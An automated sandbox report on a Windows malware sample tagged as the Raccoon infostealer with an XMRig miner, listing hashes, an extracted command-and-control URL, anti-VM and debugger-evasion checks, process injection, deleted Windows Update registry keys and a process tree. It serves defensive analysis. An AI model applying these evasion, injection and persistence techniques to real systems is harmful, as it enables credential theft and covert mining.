raccoon | 89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c

Analysis

max time kernel
300s
max time network
298s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
06-10-2022 03:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe
Size

345KB
MD5

8ee9351a60a4d89e0ff61b3789bcb98a
SHA1

b24279aa0c63143c6f89c7ca7ffc2d9d0c9d23a7
SHA256

89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c
SHA512

db031b525c1bfc9102b0ddc485612e9e46fb22fa27170f7f4df65d1817f5045845c4f3f3d8ddb3d5f5f25fe9fb4de31047b224752216e1b1546590aab21883b4
SSDEEP

6144:K6S1ZVlum8KDJUOER/YM58yC4ohdFrmHJJybheuo5cLol:oPmcUOIeyC4oZMJv5

Score

10^/10

raccoon xmrig bd3a3a503834ef8e836d8a99d1ecff54 evasion miner spyware stealer themida trojan upx

Malware Config

Extracted

Family

raccoon

Botnet

bd3a3a503834ef8e836d8a99d1ecff54

http://135.148.104.11/

rc4.plain

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
stealer raccoon
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

setup.exesetup1.exeupdater.exeMoUSO.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MoUSO.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/6232-905-0x00007FF760410000-0x00007FF760C04000-memory.dmp	xmrig
behavioral2/memory/6232-907-0x00007FF760410000-0x00007FF760C04000-memory.dmp	xmrig

Downloads MZ/PE file
Drops file in Drivers directory 2 IoCs

Processes:

setup.exeupdater.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts setup.exe
File created C:\Windows\system32\drivers\etc\hosts updater.exe
Executes dropped EXE 6 IoCs

Processes:

setup.exesetup1.exeupdater.exei.exewatchdog.exeMoUSO.exe

pid process

1644 setup.exe
2200 setup1.exe
4024 updater.exe
1428 i.exe
4268 watchdog.exe
6320 MoUSO.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	setup.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

pid	process
1644	setup.exe
2200	setup1.exe
4024	updater.exe
1428	i.exe
4268	watchdog.exe
6320	MoUSO.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/6232-905-0x00007FF760410000-0x00007FF760C04000-memory.dmp	upx
behavioral2/memory/6232-907-0x00007FF760410000-0x00007FF760C04000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

MoUSO.exesetup.exesetup1.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

setup1.exeMoUSO.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2482096546-1136599444-1359412500-1000\Software\Wine	setup1.exe
Key opened	\REGISTRY\USER\S-1-5-21-2482096546-1136599444-1359412500-1000\Software\Wine	MoUSO.exe

Loads dropped DLL 3 IoCs

Processes:

AppLaunch.exe

pid process

100328 AppLaunch.exe
100328 AppLaunch.exe
100328 AppLaunch.exe

pid	process
100328	AppLaunch.exe
100328	AppLaunch.exe
100328	AppLaunch.exe

Themida packer 16 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/1644-128-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp	themida
behavioral2/memory/1644-129-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp	themida
behavioral2/memory/1644-130-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp	themida
behavioral2/memory/1644-131-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp	themida
behavioral2/memory/1644-132-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp	themida
behavioral2/memory/1644-133-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp	themida
behavioral2/memory/1644-134-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp	themida
behavioral2/memory/1644-145-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/1644-304-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/4024-343-0x00007FF6B9FD0000-0x00007FF6BACC3000-memory.dmp	themida
behavioral2/memory/4024-444-0x00007FF6B9FD0000-0x00007FF6BACC3000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/4024-904-0x00007FF6B9FD0000-0x00007FF6BACC3000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

setup.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

setup.exesetup1.exeupdater.exeMoUSO.exe

pid process

1644 setup.exe
2200 setup1.exe
4024 updater.exe
6320 MoUSO.exe

pid	process
1644	setup.exe
2200	setup1.exe
4024	updater.exe
6320	MoUSO.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exei.exeupdater.exe

description	pid	process	target process
PID 2628 set thread context of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 1428 set thread context of 100328	1428	i.exe	AppLaunch.exe
PID 4024 set thread context of 6076	4024	updater.exe	conhost.exe
PID 4024 set thread context of 6232	4024	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

setup.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	setup.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3992 sc.exe
3856 sc.exe
1864 sc.exe
3988 sc.exe
5060 sc.exe
4940 sc.exe
4120 sc.exe
2264 sc.exe
4608 sc.exe
5080 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3556 schtasks.exe

pid	process
3992	sc.exe
3856	sc.exe
1864	sc.exe
3988	sc.exe
5060	sc.exe
4940	sc.exe
4120	sc.exe
2264	sc.exe
4608	sc.exe
5080	sc.exe

pid	process
3556	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exesetup1.exepowershell.exepowershell.exepowershell.exepowershell.execonhost.exeMoUSO.exe

pid	process
4836	powershell.exe
4836	powershell.exe
2200	setup1.exe
2200	setup1.exe
4836	powershell.exe
3932	powershell.exe
3932	powershell.exe
3932	powershell.exe
2272	powershell.exe
2272	powershell.exe
2272	powershell.exe
4476	powershell.exe
4476	powershell.exe
4476	powershell.exe
4236	powershell.exe
4236	powershell.exe
4236	powershell.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6232	conhost.exe
6320	MoUSO.exe
6320	MoUSO.exe
6232	conhost.exe
6232	conhost.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe
6320	MoUSO.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656

pid	process
656

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeIncreaseQuotaPrivilege	4836	powershell.exe
Token: SeSecurityPrivilege	4836	powershell.exe
Token: SeTakeOwnershipPrivilege	4836	powershell.exe
Token: SeLoadDriverPrivilege	4836	powershell.exe
Token: SeSystemProfilePrivilege	4836	powershell.exe
Token: SeSystemtimePrivilege	4836	powershell.exe
Token: SeProfSingleProcessPrivilege	4836	powershell.exe
Token: SeIncBasePriorityPrivilege	4836	powershell.exe
Token: SeCreatePagefilePrivilege	4836	powershell.exe
Token: SeBackupPrivilege	4836	powershell.exe
Token: SeRestorePrivilege	4836	powershell.exe
Token: SeShutdownPrivilege	4836	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeSystemEnvironmentPrivilege	4836	powershell.exe
Token: SeRemoteShutdownPrivilege	4836	powershell.exe
Token: SeUndockPrivilege	4836	powershell.exe
Token: SeManageVolumePrivilege	4836	powershell.exe
Token: 33	4836	powershell.exe
Token: 34	4836	powershell.exe
Token: 35	4836	powershell.exe
Token: 36	4836	powershell.exe
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeShutdownPrivilege	3720	powercfg.exe
Token: SeCreatePagefilePrivilege	3720	powercfg.exe
Token: SeShutdownPrivilege	2276	powercfg.exe
Token: SeCreatePagefilePrivilege	2276	powercfg.exe
Token: SeShutdownPrivilege	4956	powercfg.exe
Token: SeCreatePagefilePrivilege	4956	powercfg.exe
Token: SeShutdownPrivilege	4124	powercfg.exe
Token: SeCreatePagefilePrivilege	4124	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3932	powershell.exe
Token: SeSecurityPrivilege	3932	powershell.exe
Token: SeTakeOwnershipPrivilege	3932	powershell.exe
Token: SeLoadDriverPrivilege	3932	powershell.exe
Token: SeSystemProfilePrivilege	3932	powershell.exe
Token: SeSystemtimePrivilege	3932	powershell.exe
Token: SeProfSingleProcessPrivilege	3932	powershell.exe
Token: SeIncBasePriorityPrivilege	3932	powershell.exe
Token: SeCreatePagefilePrivilege	3932	powershell.exe
Token: SeBackupPrivilege	3932	powershell.exe
Token: SeRestorePrivilege	3932	powershell.exe
Token: SeShutdownPrivilege	3932	powershell.exe
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeSystemEnvironmentPrivilege	3932	powershell.exe
Token: SeRemoteShutdownPrivilege	3932	powershell.exe
Token: SeUndockPrivilege	3932	powershell.exe
Token: SeManageVolumePrivilege	3932	powershell.exe
Token: 33	3932	powershell.exe
Token: 34	3932	powershell.exe
Token: 35	3932	powershell.exe
Token: 36	3932	powershell.exe
Token: SeIncreaseQuotaPrivilege	3932	powershell.exe
Token: SeSecurityPrivilege	3932	powershell.exe
Token: SeTakeOwnershipPrivilege	3932	powershell.exe
Token: SeLoadDriverPrivilege	3932	powershell.exe
Token: SeSystemProfilePrivilege	3932	powershell.exe
Token: SeSystemtimePrivilege	3932	powershell.exe
Token: SeProfSingleProcessPrivilege	3932	powershell.exe
Token: SeIncBasePriorityPrivilege	3932	powershell.exe
Token: SeCreatePagefilePrivilege	3932	powershell.exe
Token: SeBackupPrivilege	3932	powershell.exe
Token: SeRestorePrivilege	3932	powershell.exe
Token: SeShutdownPrivilege	3932	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exeRegSvcs.exesetup.execmd.execmd.exesetup1.exepowershell.exei.exe

description	pid	process	target process
PID 2628 wrote to memory of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 2628 wrote to memory of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 2628 wrote to memory of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 2628 wrote to memory of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 2628 wrote to memory of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 2628 wrote to memory of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 2628 wrote to memory of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 2628 wrote to memory of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 2628 wrote to memory of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 2628 wrote to memory of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 2628 wrote to memory of 2700	2628	89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe	RegSvcs.exe
PID 2700 wrote to memory of 1644	2700	RegSvcs.exe	setup.exe
PID 2700 wrote to memory of 1644	2700	RegSvcs.exe	setup.exe
PID 2700 wrote to memory of 2200	2700	RegSvcs.exe	setup1.exe
PID 2700 wrote to memory of 2200	2700	RegSvcs.exe	setup1.exe
PID 2700 wrote to memory of 2200	2700	RegSvcs.exe	setup1.exe
PID 1644 wrote to memory of 4836	1644	setup.exe	powershell.exe
PID 1644 wrote to memory of 4836	1644	setup.exe	powershell.exe
PID 1644 wrote to memory of 3252	1644	setup.exe	cmd.exe
PID 1644 wrote to memory of 3252	1644	setup.exe	cmd.exe
PID 1644 wrote to memory of 3300	1644	setup.exe	cmd.exe
PID 1644 wrote to memory of 3300	1644	setup.exe	cmd.exe
PID 1644 wrote to memory of 3932	1644	setup.exe	powershell.exe
PID 1644 wrote to memory of 3932	1644	setup.exe	powershell.exe
PID 3252 wrote to memory of 4608	3252	cmd.exe	sc.exe
PID 3252 wrote to memory of 4608	3252	cmd.exe	sc.exe
PID 3300 wrote to memory of 3720	3300	cmd.exe	powercfg.exe
PID 3300 wrote to memory of 3720	3300	cmd.exe	powercfg.exe
PID 3252 wrote to memory of 5080	3252	cmd.exe	sc.exe
PID 3252 wrote to memory of 5080	3252	cmd.exe	sc.exe
PID 3252 wrote to memory of 5060	3252	cmd.exe	sc.exe
PID 3252 wrote to memory of 5060	3252	cmd.exe	sc.exe
PID 3300 wrote to memory of 2276	3300	cmd.exe	powercfg.exe
PID 3300 wrote to memory of 2276	3300	cmd.exe	powercfg.exe
PID 3300 wrote to memory of 4956	3300	cmd.exe	powercfg.exe
PID 3300 wrote to memory of 4956	3300	cmd.exe	powercfg.exe
PID 3252 wrote to memory of 4940	3252	cmd.exe	sc.exe
PID 3252 wrote to memory of 4940	3252	cmd.exe	sc.exe
PID 3300 wrote to memory of 4124	3300	cmd.exe	powercfg.exe
PID 3300 wrote to memory of 4124	3300	cmd.exe	powercfg.exe
PID 3252 wrote to memory of 4120	3252	cmd.exe	sc.exe
PID 3252 wrote to memory of 4120	3252	cmd.exe	sc.exe
PID 3252 wrote to memory of 3848	3252	cmd.exe	reg.exe
PID 3252 wrote to memory of 3848	3252	cmd.exe	reg.exe
PID 3252 wrote to memory of 404	3252	cmd.exe	reg.exe
PID 3252 wrote to memory of 404	3252	cmd.exe	reg.exe
PID 3252 wrote to memory of 460	3252	cmd.exe	reg.exe
PID 3252 wrote to memory of 460	3252	cmd.exe	reg.exe
PID 3252 wrote to memory of 1256	3252	cmd.exe	reg.exe
PID 3252 wrote to memory of 1256	3252	cmd.exe	reg.exe
PID 3252 wrote to memory of 688	3252	cmd.exe	reg.exe
PID 3252 wrote to memory of 688	3252	cmd.exe	reg.exe
PID 1644 wrote to memory of 2272	1644	setup.exe	powershell.exe
PID 1644 wrote to memory of 2272	1644	setup.exe	powershell.exe
PID 2200 wrote to memory of 3556	2200	setup1.exe	schtasks.exe
PID 2200 wrote to memory of 3556	2200	setup1.exe	schtasks.exe
PID 2200 wrote to memory of 3556	2200	setup1.exe	schtasks.exe
PID 2272 wrote to memory of 2744	2272	powershell.exe	schtasks.exe
PID 2272 wrote to memory of 2744	2272	powershell.exe	schtasks.exe
PID 2700 wrote to memory of 1428	2700	RegSvcs.exe	i.exe
PID 2700 wrote to memory of 1428	2700	RegSvcs.exe	i.exe
PID 2700 wrote to memory of 1428	2700	RegSvcs.exe	i.exe
PID 1428 wrote to memory of 100328	1428	i.exe	AppLaunch.exe
PID 1428 wrote to memory of 100328	1428	i.exe	AppLaunch.exe

C:\Users\Admin\AppData\Local\Temp\89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe
"C:\Users\Admin\AppData\Local\Temp\89526174deb39bd6ef0663db7468763c54e30875591c8466281709c7d4f42d3c.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2628

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:2700

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
